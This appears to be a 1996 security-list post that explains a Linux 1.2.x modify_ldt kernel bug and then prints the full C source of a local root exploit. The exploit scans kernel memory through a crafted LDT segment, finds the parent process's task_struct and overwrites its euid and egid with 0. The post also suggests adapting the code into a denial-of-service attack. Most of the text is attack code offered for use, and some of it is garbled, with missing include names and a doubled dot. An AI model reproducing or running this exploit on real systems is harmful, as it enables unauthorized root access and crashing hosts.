Basicaly it's a ldt kernel bug wich was (over and over) discussed and pointed to in linux-kernel mailing list. I think RH has patched this one in their kernel (never tryed). All *pure* linux-1.2.X.tar.gz installations are vulnerable. The source is a modification of Morten Welinder post in linux-kernel somewehere around march. This one does not need System.map to find _task structure in kernel data segment. Instead I wrote a SEGV trap to find where accessable patitions of memory are. To speed it up I access direct at 0xC000000 (KERNEL_BASE) and step it with 0x1000 (PAGE_STEP - task_struct-s are usualy at page boundary). But it can be set up to search the whole memory for matching task_struct-s. The parent task_struct match is very loose (I am looking only for euid, egid and pid of parent task at correct distances. This can be extended for better match, but I found out that these three are quite enought. Also note that this one demostrates a memory leak in clib in sigsetjmp function. If you make enough itterations this one can be converted into denial of service attack (and posibilly host crash ;). Try with KERNEL_BASE = 0x00000000 and PAGE_STEP = 1. The main issue here is that developement of 1.2.X was abandoned after 1.2.13 and all went to 1.3.X. So there were many (now after 2.0.X not *so* many) vulnerable systems around. I hope taht the same thing wouldn't happen with 2.0.X after starting 2.1.X developement tree. HyHo let's go: pmcs_ex.c: <=======================================================================> #include #include #include #include #include #define __KERNEL__ #include _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount) #define KERNEL_BASE 0xC0000000 #define PAGE_STEP 0x1000 /* -------------------------------------------------------------------- */ static __inline__ unsigned char __farpeek (int seg, unsigned ofs) { unsigned char res; asm ("mov %w1,%%gs ; gs; movb (%2),%%al" : "=a" (res) : "r" (seg), "r" (ofs)); return res; } /* -------------------------------------------------------------------- */ static __inline__ void __farpoke (int seg, unsigned ofs, unsigned char b) { asm ("mov %w0,%%gs ; gs; movb %b2,(%1)" : /* No results. */ : "r" (seg), "r" (ofs), "r" (b)); } /* -------------------------------------------------------------------- */ sigjmp_buf memgetjmp; void memchkseg (int seg, const void *src ) { if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) { __farpeek (seg, (unsigned)(src)); } } /* -------------------------------------------------------------------- */ void memgetseg (void *dst, int seg, const void *src, int size) { while (size-- > 0) *(char *)dst++ = __farpeek (seg, (unsigned)(src++)); } /* -------------------------------------------------------------------- */ void memputseg (int seg, void *dst, const void *src, int size) { while (size-- > 0) __farpoke (seg, (unsigned)(dst++), *(char *)src++); } /* -------------------------------------------------------------------- */ #define KERNEL_DATA_SEGMENT 7 /* SEGV handling for kernel data segmnet boundary check */ static int iSEGV = 1; void SEGVHandler ( int iSignal ) { iSEGV = 1; siglongjmp ( memgetjmp, 1 ); } void FillTaskStruct ( char *pcTaskStruct, long lAddress ) { int iCounter = sizeof ( struct task_struct ); while ( iCounter-- > 0 ) { *pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ ); } } static int iMyPPID; static int iMyUID; static int iMyGID; int CheckTaskStruct ( struct task_struct *sTaskStruct ) { if ( sTaskStruct->pid == iMyPPID && sTaskStruct->euid == iMyUID && sTaskStruct->egid == iMyGID ) { return ( 1 ); } else { return ( 0 ); } } int main ( int argc, char **argv ) { char cMessage[39] = "PMCsExploit! (c) 1996. pmc@asgard.hr\n"; struct modify_ldt_ldt_s sLDTEntry; struct sigaction sSEGVAction; long lStartAddress = KERNEL_BASE; long lCheckAddress = 0x00000000; long lAreaStart = 0x00000000; long lAreaEnd = 0x00000000; long lAreaLength = 0x00000000; long lTaskAddress = 0x00000000; int iRunning = 1; char cOneChar = '\0'; struct task_struct sTaskStruct; iMyPPID = getppid (); iMyUID = getuid (); iMyGID = getgid (); printf ( cMessage ); printf ( "First let's see if this little joke could be done ?\n" ); sLDTEntry.entry_number = 0; sLDTEntry.base_addr = 0x00000000; sLDTEntry.limit = 1; sLDTEntry.seg_32bit = 1; sLDTEntry..contents = MODIFY_LDT_CONTENTS_STACK; sLDTEntry.read_exec_only = 0; sLDTEntry.limit_in_pages = 0; sLDTEntry.seg_not_present = 0; if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) { printf ( ":(\n" ); return ( -1 ); } sSEGVAction.sa_handler = SEGVHandler; sSEGVAction.sa_flags = SA_RESTART; sigemptyset ( &sSEGVAction.sa_mask ); lCheckAddress = lStartAddress + PAGE_STEP; while ( lCheckAddress != lStartAddress ) { iSEGV = 0; sigaction ( SIGSEGV, &sSEGVAction, NULL ); memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress ); if ( iSEGV ) { iSEGV = 1; while ( iSEGV ) { iSEGV = 0; sigaction ( SIGSEGV, &sSEGVAction, NULL ); memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress ); lCheckAddress += PAGE_STEP; } } else { lCheckAddress += PAGE_STEP; } lAreaStart = lCheckAddress - PAGE_STEP; while ( ! iSEGV ) { memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress ); lCheckAddress += PAGE_STEP; } lAreaEnd = lCheckAddress - PAGE_STEP; lAreaLength = lAreaEnd - lAreaStart; if ( lAreaLength < sizeof ( struct task_struct ) ) { } else { lTaskAddress = lAreaStart; while ( lTaskAddress + sizeof ( struct task_struct ) < lAreaEnd ) { FillTaskStruct ( (char *) &sTaskStruct, lTaskAddress ); if ( CheckTaskStruct ( &sTaskStruct ) ) { sTaskStruct.euid = 0; sTaskStruct.egid = 0; memputseg ( KERNEL_DATA_SEGMENT, (void *) lTaskAddress, (void *) &sTaskStruct, sizeof ( sTaskStruct ) ); printf ( ":)\n" ); exit ( 0 ); } lTaskAddress += PAGE_STEP; } } } printf ( ":(\n" ); exit ( -1 ); }